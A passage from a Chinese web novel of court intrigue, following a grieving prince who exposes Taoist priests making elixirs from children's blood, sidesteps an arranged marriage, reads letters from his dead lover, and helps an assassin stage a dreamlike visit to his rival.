作为给犯人上刑多年的刽子手，元德一眼就能看出，眼前的人是承受不住昏过去，还是要被打死了。
久而久之，他就会在人昏迷前停手，给犯人最长久的折磨。
“说。”元德用脚踩在他肩头，把扔在挣扎的人钉在地上。晋经涕泗横流，连挣扎的力气都没有，他便只能交代了实话。
炼丹的确是用人血炼的，只不过人血的丹药，却不是给皇上吃的，给皇上吃的丹药，只是平时加大剂量滋补身体的方子。
闻者无不骇然，除了穆轩岚。
“一口一个吾皇，你们竟然敢做这种暗度陈仓的勾当，真是该死啊！”说着，元德踢了他一脚。
王老怪也在旁边皱眉叹气，看来这天子日子也不好过，竟然被人这般诓骗。
都说大补等于毒，这相当于在给皇帝投毒啊！
想到这里，王老怪转头看向穆轩岚，那可是他父皇，知道这种事情，他会维护他父皇吗？
穆轩岚表情没什么太大的变化，依旧是那般处事不惊，他对上王老怪的眼神，这才朝这边走过来。
“你们炼的最上品的丹药去哪里了？”
穆轩岚站在他面前，居高临下地看着他。这不是拷问，这是在给他一个活命的机会。
晋经早已看清了局势，不如实交代，他恐怕连赴死的机会都没有。他万念俱灰地闭眼，长叹一口气。
“师父吃了。”
元德蓄力又想给他一脚，这简直是明目张胆的欺君之罪，可穆轩岚却叫住了他。
“元德，不得无礼，赶快扶道长起来。”说到这里，穆轩岚转头看了一眼王老怪。
王老怪心中一紧，不知道接下来会有自己什么事儿，但肯定有事。
“道长，你找个信得过的人，把这位药师写的方子送进宫中去，日后都按这个方子来，若是再有阳奉阴违之事，本王就屠尽你们整派。”
晋经早就被打得半死不活，他现在又岂敢说半个不字。
王老怪则是一脸为难地看着穆轩岚，第一次给皇上开药方，他心中着实忐忑。
看出他心中的顾忌，穆轩岚开口宽慰他，不过这宽慰可谓是刀刀见血。
“只要比现在的毒药好，那就算你有功。”
王老怪十分有目的性地看了眼晋经，那人不知是羞愧，还是要昏死过去，他耷拉
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着脑袋，不再看他们。
送信的小道士出门前，被元德叫住，他再度叮嘱，送了信立马回来，不该说的一句都不要说。
收拾好一切，这才过来请示殿下，要不要回府。
“本王今天随便进了座道观，祈求国运昌隆，结果触了霉头，只惩罚一个道士，是不是不太可能？”
王老怪还没听懂什么意思，殿中和院中的暗卫便早已开始行动，动手抽打那些道士。
他担心吓到那十几个孩子，便过去安慰他们，谁知道这些小孩不哭不闹，最小的看起来也就七八岁，他们只瞪着眼睛看着。
“难不成是被吓傻了？”王老怪喃喃自语，其中一个年岁稍大一些的跪在地上回答他。
“感谢老爷们来救我们，草纸给您磕头了。”
说着，他就在坎坷不平的土地上磕了几个头，那力度之大，让他额头都被磕红了。
穆轩岚盯着那小孩，而后抬眼看了下元德，元德心领神会，当初他也是这样跪在殿下脚边的。
“你叫草纸？谁给你起的名字。”穆轩岚颇感好笑地问他，这个名字，倒真是少见。
“是我自己起的，我从小无父无母，所以只能我自己起。”
元德暗中攥紧拳头，这小孩跟当初的自己太像了，虽然不知道自己能帮他什么，但元德心中就是很感慨，仿佛跪在那里的，是年少时的自己。
“殿下，你应该能帮这些小孩找到家吧？若是跟草纸这样无父无母的，倒不如跟着我，如何？”
王老怪这话，是穆轩岚没有想到的，元德也惊讶地问他。
“你不是最喜欢无牵无挂、独身一人的吗？”
王老怪笑着摆摆手，表示那都是过去了。
“人啊，还是有个伴的好，我最近在府中待的都快发霉了，我准备在京都周边走走，带两个小童也颇为好玩不是。”
意料之外的别离倏然而至，元德不知道该说什么，像他这种人，不会他沉默地看向殿下。
穆轩岚却很坦荡，他也懂王老怪为什么要走。
当初千千强行带着王老怪的时候，就是要让他行侠江湖、悬壶济世，能救一个是一个的。
现如今却因为自己，让他在府中耽误这么久，穆轩岚心中早就过意不去了。
“也好，在你走之前，本王设宴为你践行。”
再长的离愁，也总有诉尽的时候，王老怪也不擅长离别，因此，他只提议在两日后三个人小酌一杯就好。
此后他念叨了两日，要在离别前再饮一杯清风酒，可当坐在最后的宴席上时，王老怪无奈地发现，没有，根本没有。
“真是小气啊殿下！”王老怪气绝地感叹。
穆轩岚也不再扭捏，他大方承认，这酒谁也不给喝。
“这可是我余生仰赖的唯一物件，你还准备给我喝空了不成？”
酒席间欢声笑语，就连冬芸也跟着喝了几杯酒。宴席即将结束时，王老怪还抱着五十年的陈坛佳酿，早已醉的不省人事。
“冬芸，清风酒好喝吗？”
穆轩岚眼神清明，他满是感慨地看着冬芸眼前的酒盏。冬芸这才了然，她为什么喝了酒却没有醉。
145. 联姻是无可避免的
接下来几日，穆轩岚仍旧未上朝，他还是待在府中，谁也不见，门也不出。只有元德知道，殿下还在写那本书。
殿下时不时会唤来自己或别人，询问当时发生的情况，或者千千说过的话。
元德知道殿下是在怀念老板，可三五日都这样废寝忘食，他真的很担心担心殿下的身体。在他的左右为难中，给他等到了一道圣旨。
“殿下，皇上邀您去参加大朝拜，国舅今日已经进京了，明日就能携女参加大朝拜。”
圣旨是元德代领的，他现在把旨意转述给殿下，穆轩岚压根就没从桌案上分出心来，他连头都没有抬。
“没说别的？”他拿起又撰写好的一张，轻轻吹干墨迹。
元德心一横，只能如实禀报。
“殿下，圣旨说联姻是无可避免的，让您提前做好准备。”
墨迹已干，穆轩岚把那张纸叠放在左手边，这才抬头看了元德一眼。
“你怎么比本王还紧张？难不成真怕皇上皇后逼本王成婚？”他心情颇好，甚至还跟元德开起了玩笑。
元德作势就要跪下，听到殿下不悦地咂嘴，他才止住了动作。
“正好，这边撰书的任务完成，本王正愁没什么好做的，这不，事情就自己找上门来了。”
“殿下，您……明日去了要如何办？”
那日穆轩岚和皇上皇后的谈话，元德并不知情，因此他并不知道皇后已然倒戈，她不再要求穆轩岚去联姻。
这几日穆轩岚虽然并未进宫，但以他对皇上的了解，既然他在知晓自己心意的前提下，写出那句“无可避免”，那就是皇上找到了结局的法子，现在多半在吓他。
“能是什么法子呢？”元德站在书案边小声呢喃。
穆轩岚整理着手上一叠纸张，看着即将完工的书籍，他现在心情倒是很好。
“找个皇子跟她联姻不就是了，反正不可能是本王。”
他其实连人选都能猜出来，九位皇子中，配得上皇亲国戚庞家的，除了自己，就剩穆元基了。
虽然穆元基曾经跟自己有过节，但皇上皇后并未在意过此事，也未曾与穆元基生母有过嫌隙，如此看来，穆元基便是最适合的人选。
自从前些天，被牢狱中的乞丐断言后，穆元基一直闭门不出，跟穆轩岚差不多。
到宫门不得不下马车的时候，穆元基刚掀开轿帘，就看到一个熟悉的背影。碍于身份，他不得不上前行礼。
“臣弟拜见殿下，殿下为何在伫立在这里？”
待穆轩岚转过头，穆元基才发现，他的气色竟然好多了。虽未恢复之前的神采飞扬，但也依稀有往日的影子了。
穆元基心中很是不服气，凭什么一句话对他的打击，比秦千千亡故对穆轩岚的打击都大。
换言之，他看不得穆轩岚过得好。
“不愧是殿下，心胸就是宽阔，这么快就从丧妻悲痛中走出来了？”
穆轩岚神色晦暗地看着他，穆元基又在干蠢事了，他总是如此，在被他心中莫名其妙的东西气到时，就会不管不顾地发疯。
可今天自己不会跟他计较，他既然这么喜欢给自己找不痛快，那待会儿所遭受的一切，都是他应得的。
“本王不在这里等你，又怎能看到你这番憔悴的样子？毕竟，待会儿你是进不去内厅的。”
大朝拜虽说是宴请文武百官，但也并不是真就所有人同吃同喝，其中分为内外两厅。
就拿今夜来说，除了皇上皇后、国舅和她女儿，以及穆轩岚，其余的人全在外厅。
内厅留的男子，除了两方父亲，就只能留新郎官。
穆轩岚故意这么说气他，毕竟，哪怕告诉穆元基他会被叫去内厅，他也不会信的。
更别说，他现在不愿意说。捉弄穆元基，是他现在为数不多觉得有意思的事情。
受百官朝拜，穆轩岚信步走过外厅，直达内厅。因他来的晚了些，所以内厅除了他，各方早已落座。
“轩岚，怎么来的这么晚？快些跟舅舅行礼。”庞郁安笑着嗔怪他，穆轩岚自然顺着母后的话，朝舅舅作揖行礼。
皇上一眼不发地盯着这对母子，好，一个二个的，还在跟自己生气呢，储君竟然都不跟自己行礼。
“舅舅安康，表妹可也一切都好？”说罢，穆轩岚抬头望着那二人。
跌入他眼眸的，不是舅舅似有若无的笑意，也不是笑颜如花的表妹，而是表妹那极尽奢华却又清新雅致的月蓝色衣服。
是了，这绝对是叁余坊的手笔！
他脑中闪过秦千千之前夸叁余坊的话，那工艺的确巧夺天工，饶是从小奢靡的他，也算是涨了见识。
他想，千千很喜欢的姜千秋的那件大氅，究竟长什么样子。他又想，千千交代叁余坊给他们做衣服，不知道还要多久才能送来呢？
在他晃神的功夫，内厅的气氛几乎凝固了，皇上皇后以为他看舒娴出了神。
皇后心中更是急切不已，若是他现在又该主意了，那可怎么办？
可转念一想，她确信轩岚有情有义,定不会做三心二意的事情。
一旁的皇帝，看到此情此景，来了兴致。他心中憋着一口气呢，这母子俩同仇敌忾对付自己，他好不容易有个机会反击，那可不能放弃。
“轩岚，怎地看入迷了？”
本就暧昧的局面，被皇上这么一点拨，庞舒娴的脸更加红了，她羞恼地侧过头，穆轩岚这才回过神。
“父皇，儿臣只是看表妹衣服用料考究，在想这个问题而已。”
曾经的他还会顾全一下大局，现如今的穆轩岚，无愧于千千，只求无愧于心，其它的，他都顾不得了。
少女脸红变成不知所措，庞舒娴攥着自己袖口的衣料，张口准备回复他，却被自己爹给抢了先。
“无妨，宴会后，殿下想聊这个，尽管来找舒娴便是。”
庞庆忠知道联姻形势有变，可他实属不愿意放弃穆轩岚，无论自己妹妹怎么说，他都要再争取一下。
穆轩岚没有说是，也没有说不是，他只行了个拱手礼，转身落座在庞庆忠对面。
元德早就候在位置边多时了，按照惯例，侍卫仆人在夜宴时不许上前，可元德
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管不了那么多了。
他单膝跪地，抱拳跟殿下禀报情况。
穆轩岚稍稍偏头，虽说平时他特许元德不用遵守这些规则，但元德很少不顾及规则，能让他罔视规矩的事情，那一定是大事。
果然，元德话音刚落，穆轩岚就想不顾一切地跑回去，可他不能。
“殿下，老板曾经交代叁余坊做的衣服，刚刚送到府上，咱们这里送了三套。”
穆轩岚瞪大眼睛，似乎不敢相信自己听到的话，反应过来后，他立马就要起身，却被元德拉住胳膊，强行按在椅子上。
“殿下，切不可轻举妄动啊！”元德压下嗓音，满脸急切地劝告他。
内厅中的人都在往这边看了，皇上还关切地问他怎么了。
穆轩岚很想开口说，自己身体不适，借故回府，可他知道，不亲眼看着父皇把庞舒娴指给穆元基，他就始终不能放心。
权衡利弊之下，他只能说自己没事。
外厅歌舞升平，觥筹交错的声音传进内厅，比起外面的热闹，这里就冷清了很多。
皇上皇后与国舅，有一搭没一搭地聊着国事、琐事、天下事，唯独没有一个人提及婚事。
酒过几巡，皇上也看到穆轩岚只一杯又一杯地喝着闷酒，似乎完全不把自己的身体当回事儿。
他悄然叹了口气，心想罢了，何苦为难他心尖上唯一宝贝的儿子。
“国舅，趁朕和你都还没喝醉，就好好商议一下皇儿和舒娴的婚事吧。”
皇上转头看了一眼穆轩岚，他饮酒的速度并未停下，皇上眸色一沉，不知他今日是怎么了。
可当他看向身边皇后，想让她派人去劝劝轩岚的时候，皇后却并没有什么表示，甚至觉得这很正常。
她觉得穆轩岚平时很有自制力，现下放纵自己，那也是无奈之举，她就没必要再去苦心孤诣地烦他了。
庞庆忠心彻底凉了，他只能回禀皇上，一切都听皇上安排，从始至终，只有庞舒娴被蒙在鼓里。
“来人，把元基叫进来。”皇上下令，曹公公立马去外厅宣人。
穆元基心中烦闷，再加上近来心气不顺，进宫前又被穆轩岚气了一通，他今晚并未饮太多酒。
事后，他也庆幸自己当时没喝太多酒，不然打死他也不敢相信，本该指给穆轩岚的婚事，怎么就在他跪下拜见国舅的片刻功夫中，转移给了自己。
“父皇，这……”穆元基讶异不已，可刚开口就被皇上打断了。
“怎么？莫不是觉得国舅家的千金配不上你？”
天威震怒，穆元基哪敢说一个不字。在场最懵的两个人，一个是穆元基，另一个是庞舒娴。
穆轩岚往日行得正坐得端，现在他是一刻都坐不住，白酒当水喝，也浇不灭他蠢蠢欲动的心。
眼看大局已定，他立马告病要回府。
别说是告病，就算是真病，皇上也不想放他回去。
谁知穆轩岚一转脸，竟咳出一口血来，苍白的衣袖衬得那血格外鲜艳。他藏得快，但皇上还是看到了。
“回去吧，快些回去养养。”
146. 情谊将他百般凌迟
得知这个消息的当晚，姜千秋就动身去找楚风了。
彼时的楚风正在璃光海那边，过着风餐露宿的杀手生活。不富裕，但相当惬意。
“托阁主的福，没有你带来的这瓶清风酒，我还真没处找这口酒呢。”
楚风没有见过芳草阁的阁主，可她能轻易找到自己，还能揭穿自己的身份，这世上除了秦千千，也就阁主有这能耐了。
姜千秋与她同坐在星辉梦泽边，伴着满天繁星与碧波灿烂的大海，她仰头喝了一口酒，有些晃了神。
“这清风酒本就是酿给我自己喝的，现在，也算是拨乱反正了。”
楚风万万没想到，事实竟然是这样。看来阁主还是挺挥金如土的，不过也正常，她腰缠万贯，就算享受一下，也没什么错。
姜千秋不用转头，就知道她现在在想什么，她无语地摇了下头，话语中却都是笑意。
“突然怀念千千了，她在的时候，像这种时候，她最起码会帮我解释一下。我之前喝的酒，都是我自己酿的，并非挥金如土。”
楚风心中诧异，这人难不成能听到自己的心声？姜千秋浅笑一声，故作高深地逗她。
“等你活个千百辈子，你就会发现，这世间，也就那么些事儿；世间的人，也就那么多想法。”
海风呼呼吹了一晚，没有姜千秋这一句话效果好，就这一句话，让楚风从前心凉到后背。
楚风再定睛一看，阁主正在低头浅笑，才知晓自己是被耍了，她心中升腾起一股奇妙的感觉。
是惊喜，更是意外。
若不是亲眼相见，谁敢相信，名震江湖的清风阁阁主，并非传言中那般光风霁月、不食人间烟火的仙人，而是如此活泼生动之人？
“阁主，你听到江湖上那些不符合你的传闻，你会生气吗？”
楚风其实想问，她会不会想让世人知道，她并非那些离谱传闻一般。
姜千秋仰头饮酒，对此她毫不在乎。
“名满天下跟声名狼藉，在我看来没有区别，我不需要让所有人知道我的本性，只做自己就好。”
她这番话其实是在点楚风，自从逃脱魔爪后，“楚风”这个名字，就跟一些皇家秘闻、江湖趣闻绑在一起了。
有她名字出现的地方，总会有人讲她被皇子囚禁的故事，再加上编排过的故事，越传越离谱。
秦千千还在的时候，有她交代手下控制江湖风口，可后来她不在了，那种言论更是甚嚣尘上。
以至于，楚风现在只能靠面具伪装成别人，不能做回自己。
楚风听到这话，心思微动，她算是明白阁主为何是那么多人心中的白月光了。
寥寥几句，她便在救自己。
可困境重重，又怎是几句话便能改变的呢？
姜千秋用自己手中的酒坛，撞了下楚风手中的酒坛，饮完最后一口酒后，她从沙滩上起身。
“不急于一时，我说过的话，有些人要反应一辈子。”
她看着手中的酒坛，犹豫了一下，还是决定带走。
“走吧，既然到了这里，带我去见一见千千吧。”
晏信是为了秦千千来的璃光海，这楚风知道；而楚风也是为了秦千千的坟冢来的璃光海，这姜千秋也清楚。
她此次来，一是见楚风，另一件必须要做的大事，就是去看千千。
面对修葺完备的坟冢，楚风以为她会跟秦千千讲几句话，或者陪她坐一会儿，谁知道姜千秋只把自己手上的空酒坛放在坟包上。
“阁主，这是何意？”
“她这辈子没喝过清风酒，我带酒坛来气气她，她平时气性大，说不准能气活她。”
……
楚风看着跟自己年纪相仿的人，她现在很是怀疑，阁主是不是比她年纪还小。
并未跟秦千千再说一句话，连句哀悼都没有，姜千秋就在那面朝大海、背依青山，风水极好的坟前，跟楚风交代接下来的事情。
“此事必须得你去做，也算你报仇的一部分。”
听完姜千秋的话，楚风恍然大悟，阁主其实还是在为千千收拾后事。
若不是千千与穆轩岚情意相投，那穆庞两家联姻，则是板上钉钉之事，可现在一切都不一样了。
阴阳两隔，也隔不开穆轩岚对千千的爱，导致庞家千金只能嫁给穆元基。
可穆元基又不是什么好东西，为了庞家千金的将来，只能自己出面恐吓一下穆元基了。
“只是……”楚风少见的踌躇了，姜千秋却不以为意。
“我会暗中护着你的。”
匆匆回到府中，穆轩岚径直赶去寝殿，看着桌子上的包袱，他脚下却只剩踌躇。
三个包袱，一个浅粉、一个深蓝，还有一个是少见的鸦青色。
不用说，浅粉色的肯定是给冬芸的，只不过冬芸现在在学堂，并不在府中。
元德想也知道，深蓝色的包袱应该是自己的，老板曾经夸过他，穿深蓝色衣服很好看。
再者说，其中也就鸦青色包袱最大，里面四四方方的，看起来像是有个箱子。
“殿下……”
看殿下楞在原地，元德往前走了一步，小声呼唤他。
穆轩岚近乡情怯般不上前，他指着桌上的包袱，让元德把冬芸和他自己衣服带走，他要歇一歇。
元德只能领命，在他忧心忡忡关上门后，他却不愿意离去，于是便抱着两个包袱，坐在门口的石阶上。
在原地愣了一会儿，穆轩岚却被自己这幅模样气笑了，他何曾如此举棋不定过？
思虑及此，他便上前解开那包袱。
包袱中果然安放着一个四方木匣，长度约莫有成年男子的肩宽，木匣整体漆紫，上面还有浮雕暗纹，看起来十分华贵。
穆轩岚直接打开木匣，便看到里面叠放整齐的鸦青色衣服，以及最上层的两封信。
最期待的事情终于发生了，这让他激动得心都快跳了出来，他立即拿起两封信，没空看什么衣服。
一封署名千千，一封署名叁余坊。
穆轩岚放下叁余坊的那封，拆开了千千留给他的第一封信。
【希望你看到这封信的时候，身边没有别人。
毕竟，本人实在
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是太偏心了，我特意交代叁余坊，你的东西，各个都要用最好的。
要知道，太子妃的那套朝服也才用了漆红的沉香木匣，你这套可是用了跟我主人一样的规格，漆紫呢！
你常常穿的那几样颜色，我都看腻了。
鸦青色是我提的，黑中带紫绿色光泽，在阳光下熠熠生辉，色调沉稳又低调，我觉得你会喜欢。
不喜欢也要说喜欢，知道吗？
我还特意叮嘱哲瑞给你做了件大氅，按照我见过的主人的那件，如法炮制的。
对了，衣服所有的纹样都是我画的，你收到衣服后，不得好好谢谢我！
里面还附赠本姑娘亲手为你缝制的香囊一个。
当初你送我的玉佩丢了，我就又给你搜罗了一块，你快看看你喜不喜欢。
我还要给别人写贺信，就跟你说这么多吧。】
洋洋洒洒的文字，仿佛让穆轩岚回到了她在自己身边的日子。
在他拿着信纸坐在桌边时，眼泪也夺眶而出，顺着脸颊滑落。
直到泪水啪嗒掉落在手上时，他才后知后觉地拭去，脸颊的泪。
“我以为……，眼泪流干就不会再流泪了。”他喃喃自语道。
他珍重地把信装回信封，脸上的悲恸无可附加，之前在嘉松别苑，千千总安慰他不要皱眉，不要惆怅，他也的确试着放下所有。
可现在，一切再度卷土重来。
穆轩岚看着桌上另一封信，他不好奇叁余坊的主人会说什么，他唯一期盼的，是心中有关于千千的只字片语。
拆开看后，果然没有让他失望。
楚哲瑞字字句句，都在替千千指责自己。指责自己的欺瞒、指责自己的无情。
信尾，她却画风突转，让自己珍重。
【千千不会想看到你如此颓唐的，储君殿下，为了她，你也要寻回往日的自己。
如此这般，才不至于让她九泉之下寒心。】
穆轩岚心口一阵抽痛，他原以为，叁余坊说不准会找自己寻求庇佑，毕竟覆巢之下安有完卵？
清风酒楼被查出后，说不准灾难就要降临到她们头上。没想到，她竟然一句都没提及此事。
通篇都在为千千打抱不平……
看来，千千是把她们两人的事情，对亲朋广而告之了。
那是不是说明，哪怕在嘉松别苑他没有用馥配香，千千也会那般仰赖自己呢？
情谊这把刀，在每一个回溯真相的时刻，都一刀一刀地把他凌迟。
穆轩岚从未如此懊悔，他不该那般的，诓骗自己的下场，就是让他这辈子再难探得真相。
他头痛欲裂，胳膊撑住桌子扶额的时候，这才看到木匣中的衣物。
手抚上衣料，触感细腻顺滑，比宫中特供的料子还要好。
他一件一件把衣服拿起来，鸦青纯色袍服之下，就是那个乌黑的大氅。
衣领袖口都绣着未曾见过的暗纹，似乎是某种花藤？穆轩岚又想起她心中说的，这些都是她亲手画下来的……
他心绪百转千回，最终还是找不到栖息之所。
147. 又见故人归
玉佩、香囊，还有一套衣物，穆轩岚全都好好收了起来，平素没有配得上这套衣服的场面。
即使知道千千看腻了他往日穿的衣服，他还是不打算换别的颜色。
第二天他交代元德，次日一大早就喊来京中最好制衣坊的老板，他要换些衣服样式，只有一条要求亘古不变：衣服全都要白色的。
元德知道不该劝，也不能劝。
送老板出府时，元德察觉有人在盯着自己，他目光凌厉地扫视府门四周，可并未发现异常。
在他转身回府后，有个人从屋檐上跳下来，她手上拿着长剑，一身黑衣却并未蒙面。
看清来人后，元德都愣住了，他抬手阻止暗卫冲上去，楚风对他抱拳示意。
“好久不见，能带我去找储君殿下吗？”
楚风跟他们其实并没有交情，仅仅的几面之缘，也是在穆元基挟持秦千千的时候。
元德在通禀殿下的时候，就非常想不通，楚风到底来找殿下做什么。
穆轩岚听到来人后，立即想到了缘由。
“定是姜千秋嘱托她来的，或许，有什么事情需要本王帮忙吧。”
而事实也果真如此，楚风直截了当地跟他表明来意：想让他把穆元基引到这里，她有事情要找穆元基。
“为何笃定本王会帮你？”
穆轩岚没有答应，也没有拒绝，而是反问她，甚至分析起她来。
“你受人之托，可又担心穆元基强行扣留你，这才想到来找本王，没错吧？委托你的人，是姜千秋吧。”
楚风面色如常，果然一切如阁主所料，穆轩岚一定会说这话。
“是也不是，殿下有没有想过，我找你是为了给你东西？”
楚风解开手边的包袱，从中掏出一个相当圆润、鸡蛋大小的白玉宝石，她抬手递给元德，元德又呈给殿下。
“这个殿下应该认识，秦老板墓前的。我把这个还回来，阁主的意思，想必殿下也清楚了。”
楚风轻叹一口气，哪怕惹他生气，自己也得说。
“您就别再让手下天天盯在那里了，有些故人想去上香，都被暗卫拦着，这着实不是办法。您知道的，千千最怕寂寞。”
定魂珠是几位高僧加持过的宝物，那可是天下第一大寺的镇寺之宝，穆轩岚专程派人送过去，埋在她墓前的。
生前不能补偿她的，他现在想要加倍弥补她。
可楚风最后一句话，却让他再度心碎。
那已经是他没办法的办法了。
所有人都劝他为爱放手，他放手了；可难道连自己的一点心意，也没有办法传达给她吗？
楚风看着他这般破碎的样子，轻叹一口气，多说了两句。
“殿下，恕我直言，相信别人也跟你说了千百回这句话了。千千不会想看到你这样的，她爱你，这是不争的事实，所以，她怎么可能忍心看着你那么难过呢？”
穆轩岚嗤笑一声，自己下药偷得几日别苑中的轻松时光，现在孽力全部反馈回来了。
扪心自问，他不敢揣测千千的心意，也无法衡量什么情谊。他怕，这些全都是自己的一厢情愿。
况且，她若真的不生自己的气，那为何从未来过自己的梦境。
哪怕是埋怨他也好，哪怕是过来找他索命也罢……
“别说这些了，倒不如跟本王说说，你要跟穆元基商量什么事情。”
说起这个，楚风脸色平稳了一些，这事好说。
“殿下有句话没说错，我这是受人之托，忠人之事。此次就是要借这个机会，告诫一下穆元基，日后要善待庞舒娴。”
穆轩岚很是讶异，姜千秋怎么还管起这种事情了？他是这么想的，也就这么问了出来。
楚风没好气地看了他一眼，这才说出阁主的考量。
“他们的婚事阴差阳错促成，全都是因为你和秦老板一往情深，哪怕为了给千千积德，你也不该不理解。”
穆轩岚拿起桌上放着的定魂珠，举着给楚风看。
“这东西可比做那些小事的功德要大，再说，阴差鬼吏要清算，也应该来找本王，与她何干。”
楚风看他这软硬不吃的样子，真的气得不行，穆轩岚也不是有意找她不痛快，他其实是自己的计较。
“你把这定魂珠放回去，此事本王定会帮你。”
楚风无奈叹了口气，他还真是执着，不过阁主也教了自己，劝他收下这个的终极秘法。
“殿下，她那里埋个此等宝贝，才是让她不得安宁。这东西您还是自己留着吧，您身边妖魔鬼怪太多，留着镇镇宅，说不准千千就去梦中找你了。”
穆轩岚从小联系喜怒不形于色，可此事他忘却所有规则，满脸惊讶。
姜千秋怎么知道自己从未梦到过千千？
看他这表情，楚风知道，他肯定会把定魂丹留下了。
等他缓过神后，跟楚风讨论宴请穆元基到府中的时间，楚风却说今晚，总之，越快越好。
当穆轩岚问道，她将以何种面貌出现在穆元基眼前时，她坦然地说出了自己的计划。
“宴席上殿下跟他喝的半醉，到时候，我就进他的梦中。”
穆轩岚微微蹙眉，他不明白这话的意思。楚风这才发觉，自己当时望着阁主时，应该也是这个表情。
姜千秋给了她一种香，具体名称她没说，人喝半醉后，脑袋本来就不太清醒，再加上那种香的作用，就会让人分不清现实与梦境。
“彼时，我出现在他面前，就跟出现在他梦中无异。”
入梦……
定魂珠……
穆轩岚决定今晚一口酒都不喝，他倒要看看，这所谓奇香的功效。
其实他心中更在意的是，千千若是今夜真的入梦，那究竟是现实，还是梦境。
虽说两个人是死对头，再加上穆元基莫名其妙订了婚，但穆轩岚还是有办法叫来穆元基。
当穆元基气势汹汹迈进府门的时候，穆轩岚正伫立在厅中等他。
“殿下，您不是在府中养病吗？急忙召见我作甚。”
穆元基憋了一肚子火，但他还是不敢直言不满，语气中颇带微词，已经是他最大的反抗力度了。
哪怕他现在很想问问，穆轩岚为什么说自己大祸临头。以及，他为何要恐吓自己，说什么犯的可是杀头的大罪。
自己最近老实的不得了，能犯什么大罪？<
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p>“晋经，是你的友人吧？”
穆轩岚站在厅前台阶上，居高临下地看着穆元基。
这个名字一出来，也算是给穆元基指了一条明道，他可算知道是哪方面出问题了。
说到晋经，他心中十分疑惑，这可是玄阳道道观的主掌事，他能出什么问题？
可不等他追问，穆轩岚就转身要走。
“你不会让我在这里说，那些杀头的大罪吧？”
穿过长廊，两个人走到府中一座傍山雅居中，穆元基这才发现，美酒夜宴，早就准备好了。
可这鸿门宴，又怎么让他吃得安心？
“殿下不妨明说，臣弟为了性命战战兢兢之时，胃口一向不好。”
穆轩岚听得出，他这是在不满自己。
可又能怎么样？留他，自己可以找出一百种理由。
“那不如这样，本王说一句，你喝一杯。”
还不等穆元基回绝这种玩法，穆轩岚先开了口，拿捏穆元基，是他从小就得心应手的事情。
“先别着急拒绝，我先白送你一句，晋经准备谋害父皇。”
穆元基目眦欲裂，他发现自己好像听不懂人话了，晋经怎么能跟那么罪名联系上？
穆轩岚自顾自地落座，抬头看着穆元基，元德给穆元基斟上一杯酒，他们主仆二人便不再说话。
好好好。
穆元基坐下忿忿地仰头，一饮而尽，他不止喝完了，还自觉地把酒杯放在元德面前。
元德自然继续给他斟酒，本来斟酒这种事情是不需要元德来的，可今夜讨论的事情重要，他不放心让别人来，只好自己上场。
“玄阳宫用孩童炼丹。”穆轩岚神情严肃地接着说。
穆元基两条眉毛皱作一团，怎么会这样？
玄阳道可是护国的名门正派，他们怎么会干这些败坏门风的事情？
他急得口干舌燥，又饮了一杯酒，看穆轩岚也不陪自己喝，他就拿了穆轩岚面前的酒杯，让元德给他满上。
“玄阳道人给父皇吃有毒的丹药。”
“孩童练成的丹药，他们留着给师父师兄吃。”
“本王已经解救了晋经最近采买的孩童。”
就这样，在场三人没有一个闲下来的。
穆轩岚讲故事，穆元基借酒浇愁，元德替他斟酒。
不出两炷香时间，穆轩岚已经给他讲清楚玄阳道的来龙去脉，也表明了他说此话的意图。
“不用喝了，接下来是本王要跟你说的正事。平时你就跟晋经交好，隔三差五还出钱替他们修缮道观。”
穆轩岚对此不做评判，他只想告诉穆元基，早日跟晋经保持距离，不然，日后会有数不清的麻烦。
穆元基看着手中空空如也的酒杯，他嚷着让元德去拿酒，在元德走开的间隙，穆元基这才道明自己的心事。
“三哥，你知道为什么信玄阳道吗？只有他们告诉我，我将来能跟楚风在一起……”
看他泪眼朦胧的样子，穆轩岚察觉时间差不多了，他清了两下嗓子，提醒楚风出来收人。
接到暗示的元德，也在背后肆无忌惮地点上那香，为了防止自己误吸，穆轩岚早早离开了这里。
148. 梦中得见故人
待香燃尽时，楚风从假山背后出来，她最后还是听了穆轩岚的建议，换了一身月白色的衣服。
衣袂随风飘飘然，搭配皎洁的月光，的确有种梦中朦胧之感。
穆轩岚和元德站在不远处的阁楼上，观察雅居中的情景。
元德看着穆元基跌跌撞撞扑向楚风，心中一紧，楚风果然没让他失望，她微微转身，便躲过这一击。
穆元基摔倒在地上，那痛呼声，元德听得一清二楚。在元德偷笑之际，他转头看殿下，才察觉殿下早已神游天外。
于是，他赶紧抿住嘴。
“怕什么，本王何时说过不让你笑了？”
穆轩岚沉声开口，元德立马抱拳跪地认错。穆轩岚弯腰把他拉起来，小声数落他。
“跟你说多少次了，不要动不动就跪，有什么好跪的？”
从前穆轩岚就是这么跟他说的，出去折腾一番后，他更是这么认为的。
元德是他的兄弟，是他的得力助手，并不是他的仆人。
“不过，今晚穆元基算是做了个美梦啊。”他有些感慨。
“殿下，我不明白，楚风只是来要挟他，让他对新娘子好些，这有怎么算是美梦呢？”
在元德看来，对于穆元基来说，真正的美梦，应该是梦到他要娶楚风吧？
穆轩岚感慨地摇头，归根结底，自己和穆元基是同一种人，元德跟他们不一样，自然不懂他们的心事。
放在以往，对话便会到此为止。
可穆轩岚现在把元德当朋友看，而他也的确需要找个人倾诉一下心中的愁思。
“其实对于我和穆元基来说，当知道所求所愿再也不可能实现的时候，见一面，便是最大的美梦。”
元德的心忽地沉了下去，果然，殿下不管表现得多么云淡风轻，老板的死还是他心中无法逾越的鸿沟。
他想开口安慰殿下，却又不知道该怎么开口，可两个人之间的沉默，让元德焦躁不已。
“殿下……，您跟王爷不一样，你和老板是两情相悦，他这是偏要勉强。”
元德话音刚落，穆轩岚就自嘲地笑了一声，事到如今，他也没什么好瞒的了。
说不准，千千早就知道了此事。
他便把馥配香的事情告诉了元德，也向他展示了自己真正难以释怀的东西。
“那几日我有多欣喜，现在想起那段时日，我就有多心如刀割。是我的贪婪与胆怯，把事情弄成这个样子的。”
穆轩岚扶着栏杆的手骤然收紧，指尖嵌进打磨平整的硬木，他的脸上则是无边的哀痛。
“我没有资格说什么两情相悦，谁都没有资格描述我和她。”
元德楞在原地，他万万没想到，自己当初不在的那些时日，还发生了这种事情。
听着身边的沉默，穆轩岚心中更是一凉。
是啊，正常人都会对他这个做法不齿的，他还评判穆元基，他们二人谁又比谁高尚呢？
“不，殿下，事情不是你想的那样。哪怕你用了那香，可一路巡商过程中，你们二人的感情，是我们所有人都有目共睹的。”
元德沉默是为了殿下伤怀，原来殿下背负的东西，比他想象之中还要多。
现在，自己能安慰一分，便是一分。
